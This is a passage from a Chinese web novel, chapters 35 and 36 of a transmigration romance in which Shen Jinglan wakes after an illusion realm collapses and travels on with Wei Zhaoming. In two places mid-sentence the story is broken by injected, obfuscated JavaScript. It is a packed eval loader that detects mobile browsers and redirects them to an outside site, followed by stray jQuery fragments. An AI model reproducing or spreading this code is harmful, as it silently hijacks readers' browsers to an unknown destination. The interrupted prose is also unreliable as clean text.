沈惊澜落下一滴泪。
飞光飞光,劝尔一杯酒。
吾不识青天高,黄地厚。
唯见月寒日暖,来煎人寿。
35. 第 35 章
不知睡了多久。
耳边隐隐有清脆的鸟鸣,
沈惊澜迷迷糊糊眼睛睁开一条缝。
好像没那么冷了,有阳光暖暖地铺在身上,晒干了她湿冷紧贴着皮肤的裙衫,刺得她睁不开眼睛。
好饿。
饿得没力气起身。
沈惊澜适应了一会光线,慢慢睁开眼睛。
还是那片树林,春光明媚,绿叶吐新,偶尔鸟鸣清脆,呼吸之间,淡淡的青草味灌入鼻腔,带来无限的生机与宁静。
“阿兰,你终于醒了。”沈惊澜茫然地看向说话的人,脑子些恍惚,半天才反应过来原来是秦秋。
不是卫昭明。
目光移向别处,依然没有卫昭明的影子。
难道他们已经把他的尸体处理了?
可为何秦秋的脸上看不到难过?
沈惊澜轻轻点头,任由秦秋把自己扶起来。
“来,你睡了整整三天,身子肯定虚得很,先喝点水。”秦秋打开皮壶放到沈惊澜嘴边。
清冽的水滋润了干涸焦渴的喉咙,沈惊澜试着张嘴说话,一开口,声音沙哑似老旧的风箱:“其他人呢?”
“师兄去找吃的了。”
“谢清言……她死了。”
死了?沈惊澜瞳孔微缩,被水呛到。“咳咳……怎么会……”
秦秋轻叹一声:“你晕倒的时候,谢清言同你告别了。”
她隐隐约约有印象,听到了谢清言的声音,却没听清她具体说了什么。
“谢清言与卫符早已融为一体,卫符死,谢清言也无法活下去。”
“为何?!”沈惊澜不解。
秦秋调整一下她的姿势,让她的头枕在自己腿上,慢慢道:“百余年前,谢清言入魔,与卫符在万州大战,几乎淹没整个万州。”
“两人坠入大河,濒死之际,卫符吞没谢清言活了下来。”
“最初,因为谢清言伤得太重,卫符吞没她后一切如常,甚至修为精进得更快。很快他创建锦绣城,成为天下除妖师之首。”
可慢慢的,反噬越来越明显。
尤其在子时,谢清言的原身就会挣脱束缚,将卫符同化。
严重时,卫符几乎整晚不能见人。
可他甩不掉她,她也无法完全挣脱。
他们都盼着对方死,却又不得不让对方活下去。
终于有一天卫符承受不住体内谢清言越来越强的力量,彻底妖化,化作巨兽。
那是在一个夏日的夜晚,明月高悬,谢清言的本体侵吞了卫符的身体,并控制了他的意识。
她已入魔,大部分时间意识都陷入混沌之中,不分善恶,见到活物必杀之。
但那个晚上她的意识却格外清醒。
“谢清言与卫符化为一体的力量太过强大,便是锦绣城的除妖师加起来也不会是他们的对手,恰巧此处影妖聚集不散,谢清言便到这里建此幻境。”
“卫符亦是如此,他不想自己化妖之事被发现,一朝身败名裂,便同谢清言一起,把自己永远困在这幻境之中。”
杀不掉,又不能活。
与最恨之人不得分离,同生共死,就注定不得善终。
但是幻境中的他们清醒之后便都忘了,开始不断的循环,不断地寻求破局。
秦秋顿了顿,继续道:“他们的肉身被困在幻境,执念不散,化作妖身被困在……锦绣城。”
锦绣城。沈惊澜目光暗了下去,如此说来,卫长枢极有可能是知情的。
那里的肮脏被一代一代后辈遮遮掩掩,落了个传颂百年的美名。
真是可笑。沈惊澜不甘心,可是已经无能为力。
秦秋握住沈惊澜没有受伤的手,“她有话留给你。”
“她说什么?”
“她说答应你的,她做到了。”
“作为交换,来年除夕,替她在云山的梅树上挂一盏白梅灯笼。”
那一晚她沉默不语,想来早已料到如今的结局,只是怕他们难过,便什么都不说。
最难过的,是她自己。
原来自己苦苦求生,竟是被自己所困。
她与卫符都不会轻易放过对方,制造出来的幻境也是不断折磨。
沈惊澜心里像压了一块巨石,沉得喘不过气。云山大火之后,不知还有没有梅树;来年除夕,不知自己是否还活着。
“那……”沈惊澜张开嘴,音节却卡在喉咙中,生生顿住。想要问的话如鲠在喉,遇到困难一向大剌剌往前冲的她,此刻连最简单的问题都不敢问出口。
醒来之后,她一直在回避这个问题。
“卫昭明呢?”
她深吸一口气,还是问了出来。
“我在这儿呢。”
少年清越的声音从身后传来,熟悉的语气,带着淡淡的草药味靠近。沈惊澜身体僵住,愣愣地注视着前方,忘记了动作。
声音更近了些,沈惊澜听出其中的气短虚弱。“怎么都不愿回头看我了?”
一朵白色不知名的小花落在沈惊澜的脸上,轻轻痒痒,带着点点清香,惊扰了她的思绪。
好像因为太过虚弱产生幻听了。
沈惊澜闭上眼睛,顿了顿,耳边传来窸窸窣窣的声响。
再次睁开眼睛,一张苍白清俊中带着几分妖邪的脸蓦地闯入眼帘。
少年束着高高的马尾,坠着金玉的细细发带阳光下在发间熠熠发光,淡绯红色的衣袍衬得人清瘦、妖艳,一双明媚多情的桃花眼眼波流转,认真地打量着自己的脸。
草药味随着男子俯身靠近更加明显,沈惊澜怔怔地望着他,呼吸凝滞。
“啪”一声清脆的巴掌,卫昭明的脸颊登时多了一片红印。
“你打我做什么?”卫昭明错愕。
手上的触感是真实的。沈惊澜还是不敢轻易下结论,稳住气息问道:“你是人是鬼?”
也有可能是秦秋与裴玄的想法同她一样,即便把他变成鬼妖也比死了好。
“你舍身救了我,我怎会轻易死掉。”少年目光灼灼,含着笑意。
乌黑的头发从他肩头垂下,恰扫过沈惊澜的脸庞,拂去了她脸上的小白花。
发丝触碰到眼眸,沈惊澜不自觉地闭上眼睛,点点凉意温润地掠过眼皮,酥酥麻麻,惹人心尖儿一颤。
沈惊澜拨走头发,不可置信地盯着眼前人,鼻子一酸,心中的难过、恐慌,失而复得的喜悦一齐涌来,化作两行清泪落下。
“你吓死我了,”一开口,沈惊澜便泣不成声,“你当时没了心跳和呼吸,我以为,我以为你再也醒不来了。”
“怎么会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717046|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”卫昭明蹲下身子,用衣袖擦去她满脸的泪痕。
她哭得鼻尖通红,鬓边几缕碎发被泪水沾湿,杂乱地贴在惨白的脸颊,一双墨黑的眼眸下还沾着几滴未落下的泪珠,朦胧如薄云笼月,梨花带雨。
“别哭了,我们都活了下来,你应当高兴才是。”
沈惊澜狼狈地点点头,吸了吸鼻子让自己冷静下来。
卫昭明仔细地将她的碎发捋顺,妥帖别在耳后,声音轻缓:“我自封穴位闭气晕过去,与死无异。并非有意瞒你,只是情况紧急,我不得不催动体内寒毒提前发作,不这么做,恐怕真要变成鬼妖才能见到你了。”
“【卫昭明好感度】:85%。”
他提到了鬼妖?沈惊澜心咚咚跳,难道说她那番话他都听到了?
可为何他待她一切如常,没有怀疑没有疑问,好似未发生过,甚至好感度都在上升?
沈惊澜头还有些昏沉,一用脑便头疼恶心,她索性暂时抛下这些疑问,上上下下从头到脚细细将他打量:“你的伤如何了?”
“上一次你催动寒毒,多亏谢清言出手,否则性命难保,这次谁救了你?”
卫昭明回头示意身后不远处:“这次多亏了叶伯伯。”
“幻境湮灭之时,叶伯伯恰好在此,若不是他,我怕是醒不过来了。”
“当时你失血过多昏死不醒,也多亏叶伯伯及时出手。”
叶伯伯?顺着他的目光瞧去,沈惊澜这才发现不远处一名身着玄青色衣服的中年男子正背对他们而立。
秦秋道:“叶枫师伯,是我们锦绣城的二当家。”
锦绣城的人也跟来了,这么说卫长枢确实知道此事的。
沈惊澜有些紧张,若是卫长枢派人一直暗中跟着他们,一定会对自己的身份起疑。
听到自己的名字,叶枫回过头来,冲着她微微点头。
他大约四十几岁,或许更年轻一些,细眉细目,圆鼻厚唇,面容白净,一看便觉亲近。
看起来还算好对付。沈惊澜稍稍放宽心。
然而下一瞬眼前突然闪过一道黑影,沈惊澜还没反应过来,一枚玄铁飞镖停在离眉心半寸处,阳光下折射出刺眼的光。
“啪嗒”一声,卫昭明手持剑鞘一个挽花击落飞镖,而后起身挡在她身前,语气不快:“叶伯伯,您这是做什么?”
叶枫徐徐走近,手指一勾,飞镖回到手上后消失不见。他眯起眼睛笑了起来:“昭明这么紧张,看来我没猜错,是你钟意的女子。”
卫昭明大方承认:“不错,她的确是昭明的心上人。”
“而且她救过我的命,是我的恩人,我知道叶伯伯心中有疑放心不下,但看在昭明的份上,请叶伯伯不要为难她。”
叶枫捋了捋下巴一撮稀疏的山羊胡,笑呵呵地摆手道:“我又不是你爹整天疑神疑鬼,既是你的恩人,那便也是锦绣城的恩人,我怎会为难她?只是长枢有交代,我得回去交差。”
听到卫长枢的名字,卫昭明目光微动:“父亲可有什么要对我说的?”
“长枢虽然没说什么,但他心里是记挂着你的。”叶枫斟酌道。卫长枢对卫昭明一向冷淡,有时连他这个外人都看不下去。
卫昭明抿起嘴角,扬起头微微一笑:“叶伯伯不必安慰我,他记不记挂,我不在乎。”
36. 第 36 章
叶枫留下一架马车后便离开了,卫昭明提前催动寒毒,他们的时间更加紧迫,几人简单休整了一下便启程。
沈惊澜恹恹地在马车里半坐半躺,头昏脑胀,身子发冷。
每日刀光剑影血流成河,身体一直被透支,回到现实之后即使被叶枫救回一条命,身体一松懈,所有的透支都在此刻偿还。
好在马车里够宽敞,沈惊澜换了个舒服的姿势靠着马车,眉头紧皱,身体随着颠簸晃来晃去,胸口闷得发紧。
“把这块玉放在胸口,会舒服些。”卫昭明见她难受得紧,把拙玉塞到她手里。
沈惊澜眼皮似千斤重,勉强睁开一道缝,扯出一个苍白的微笑:“这玉还真是个宝贝,什么都能治。”
卫昭明脸色也不大好,他同沈惊澜一样,堪堪捡回一条性命,身子已经虚透。“此玉能补人亏虚,但你底子受损太重,只能靠自己慢慢补起来。”
沈惊澜照他说的把玉放在胸口,温润的凉意从胸口蔓延至全身,胸口一团闷气果然疏解了不少。“那你呢?”
“我?”卫昭明朗然一笑,“我好歹是个除妖师。”
话锋一转,眼中闪过一道精光,笑中带了几分得意:“你这是在担心我?”
“对对,我担心死了,”沈惊澜敷衍地点点头,“若是卫公子有什么不测,那阿兰也不活了。”
“你才不会,我死了,你会好好地活下去。”
“然后你会想办法把我变成鬼妖,”卫昭明意味深长地盯着她的脸,留意她的神情,“看来阿兰还真是对我情深意切,不论生死都要与我在一起。”
“……”他这一提,沈惊澜心里又没了底。
“你都听到了什么?当时我被急昏了头,胡言乱语,不能当真。”
还是躲不开这个问题。若他都听到了,该怎么跟他解释他是重要角色,而自己在他死后会化作一缕孤烟?
卫昭明不好糊弄,时至今日,他对自己仍有怀疑。
“你还说了什么?”卫昭明手指抵在额头,眉头微蹙,眼眸垂下,仔细回想,“难不成你说你喜欢我?那我没听到真是太可惜了。”
“当然没有,”沈惊澜否认,“我只是想救你。”
也许是没听到,也许是有意隐瞒,他侧过脸,沈惊澜看不清他的表情,无法下判断。
车轱辘压到了一块不大不小的石子,车身突然歪斜,沈惊澜下意识用手撑住身体,钻心的痛从掌心传来,她立刻收回手,车身回正,身子因为惯性顺势倒下。
“小心。”卫昭明手撑住她的肩膀,沈惊澜的脑袋被迫埋在他的肩头。
“嘶——”正好撞在了他肩头的伤口。
沈惊澜被晃得有些晕,待反应过来时,自己正已一个极暧昧的姿势与他相拥。
所有的重量都压在他的肩膀,并不温暖,凉意浅浅,如沉在夏日清冽冷泉中的一块沁凉的玉,带着草药微微苦涩的味道。
清瘦单薄的身体锁骨有些突出,硌得沈惊澜面庞不太舒服,可她又有点贪恋这样的感觉,明明不是坚实温暖的怀抱,却觉得心里被一点点填满,溢出。
沈惊澜啊沈惊澜,你好好看看你现在在干什么,主任务完成还遥遥无期,你竟满脑子都是谈情说爱。
卫昭明迟迟没有动作,清醒后沈惊澜先一步把他推开,却被他紧紧箍住,动弹不得。
“阿兰,”他在她耳边声音旖旎低沉,“你刚才分明很心悦。”
“你体虚脑子也糊涂了。”沈惊澜没力气推他,语气带着恼意。
“我很清醒,糊涂的是你。”
“阿兰,你到底在怕什么?到底在回避什么?你明明对我有意,为何不肯承认?”
卫昭明把她扶正,手箍在她肩膀上却不肯松开,逼她直视自己的眼睛:“你始终没有完全相信我,又是为何?”
他的眼里有一团火在跳跃,沈惊澜的脸映在其中被架在火上灼烧,好似偏要将她全身化为灰烬,好好看看这副身体里究竟装了什么心思。
那团火实在太过刺眼,要将她烧得原形毕露,沈惊澜目光闪烁,心虚地垂下眼睛,声音的气势也弱了下去:“卫昭明,我手疼。”
卫昭明有片刻的失神。
明明知道她在逃避这个话题,明明不甘心,可是简简单单的“我手疼”三个字,蓦地让他心跳慢了半拍,心里某个地方一下子软了下来。
看着她苍白的脸颊带着浓浓的病气,神色暗淡憔悴,卫昭明松开手,叹了声气,一言不发地端起她的手掌,小心解开绑带。
叶枫给她包扎的时候用了锦绣城上好的膏药,但是她伤口太深,一时半会很难完全愈合。
伤口渗出血丝,卫昭明十分小心地擦掉血迹,拿出剩下的药膏均匀撒上,然后一圈一圈仔细轻缓地缠上绑带,确认无误后放下她的手。“你伤在右手,差点伤到筋骨,平时不注意极容易扯到。”
“多谢。”沈惊澜迅速收回手。明明他的手冰凉,为自己包扎时却如同烙铁一般,让她整个身子都变得火热。
一定是马车的空间太过密闭狭小,二氧化碳浓度太高,让她昏了头。
“我可以等。”卫昭明坐正身子,目光仍盯在沈惊澜身上。
“我不知道你还在顾虑什么。但我可以等,等到了莽山解了寒毒,我便更有力量能保护你,我会在你身边寸步不离,直到你愿意对我敞开心扉为止。”
沈惊澜低着头,不知该如何回应。
喜欢自然是喜欢的。有多喜欢?沈惊澜不知道,只知道不想他死,仅此而已。
喜欢当然可以跟他在一起,毕竟现实中她已经二十多岁,谈一场恋爱也没什么大不了的。可若是不自觉地喜欢到无法自拔,喜欢到刻骨铭心呢?
若任务失败,她会化作一缕孤烟;若任务成功,她会回到属于她的那个世界,无论哪种结局,他们注定要分开。若真任性一回,届时真的情深意切,待到分别时伤了自己又伤了他,何苦呢?
从前想跟他在一起利用他,如今真的走到这一步,却又不舍了。
沈惊澜闷闷道:“我不想谈这些。”
“于我而言,感情之事并不重要,你也看到了,家乡那些情郎我说不要就不要,若真与你在一起,也会如此。”
她索性狠狠贬损自己一番:“我生性就感情淡薄,不是可托付真心之人。”
“可为什么你那些情郎就可以,而我却不行?还是说,你口中的情郎根本就不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725973|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
存在,从一开始你就在胡编乱造,这些都是你来搪塞我们的借口?”
卫昭明太过激动,胸口猛烈地起伏不止,额头上冒出了点点冷汗。
沈惊澜逼迫自己冷了脸:“我并非良人,世间女子那么多,总有一天你会找到更适合你、跟你相敬如宾举案齐眉之人。”
卫昭明手撑着车窗稳住自己颤抖的身子,咬牙切齿一字一字道:“我、偏、不。”
“随你。”
说完便闭上了眼睛休息,不再理他。
卫昭明也赌气闭上眼睛不说话。
两个人眼不见心不烦,然而马车空间有限,即使故意冷着对方,却依然能听到对方呼吸的声音。
两个呼吸的频率交缠在一起,一快一慢,一浅一深,纠缠不清,缠绵不止。
沈惊澜深吸一口气,摒弃心中杂念:与其谈恋爱,不如想想怎么完成任务。
剧情都走了一小半了,裴玄对秦秋的好感度还是为0,再不想想办法她就真成一缕孤烟了。
原著第三单元是《桃枝妖》,发生在北边的陵州,到陵州时正赶上裴玄的生辰,也许可以从这里做做文章。
需得知道裴玄喜欢什么,让秦秋提前准备好;光是礼物还不够,还要有特别的惊喜。秦秋在感情上不够主动,这些她都要提前为秦秋谋划好。
“吁——”裴玄停下马车,掀开帘子,见两人坐得很远,闭上眼睛安静得可怕,便知道他们闹了别扭。
他无奈地笑了笑:“时候不早了,这个镇子正好有间客栈,若有空房,今晚便歇在这里吧。”
卫昭明睁开眼睛:“我们自然听从师兄的安排。”
“我们”。沈惊澜心里嘀咕,这人脸皮真厚,自动把她归到他一起了。
“来,阿兰慢点下来,我扶着你。”秦秋搀着沈惊澜的手托着她跳下马车。
日暮黄昏,镇子里升起袅袅炊烟,带着烧柴火的味道和饭香。他们停在一座客栈前,向里望去客栈一楼三三两两坐了几桌食客,清一色地每桌都上了两三坛酒。
店小二眼尖一眼看到他们,热情地出来招呼:“几位客官里面请,这么晚了想必是来住店的吧?正好我们还有两间上房,要不我带您几位瞧瞧?”
裴玄点头:“有劳带路。”
客栈不大,一楼坐了几桌食客已经显得拥挤嘈杂,一个喝醉的汉子举起酒坛发现空空如也,大声喧嚷道:“小二呢?再来坛酒!”
他的同伴劝道:“你喝多了,少喝点吧。”
汉子满脸络腮胡,脖子横肉堆了两三层,肤色锈红,腰身粗壮。听到同伴的话,“砰”地一掌拍向桌子,喊道:“你懂什么?喝好酒,才好去醉云楼好好逛逛,你别扫兴!”
“几位客官,我们这边请。”
店小二带着四人上了二楼最里面,打开两间房间:“我们镇子穷,这两间房间虽然简朴些,却已是镇子上最好的客房了。”
房间不大,但干净整洁。裴玄掏出钱袋,付好钱:“房间很好,麻烦上点好菜到我们房间来。”
店小二掂掂手里的重量,眼里亮了光,立刻脸上堆满笑:“您放心,保管让您吃好喝好。”
日头落尽,明月照亮这座小镇。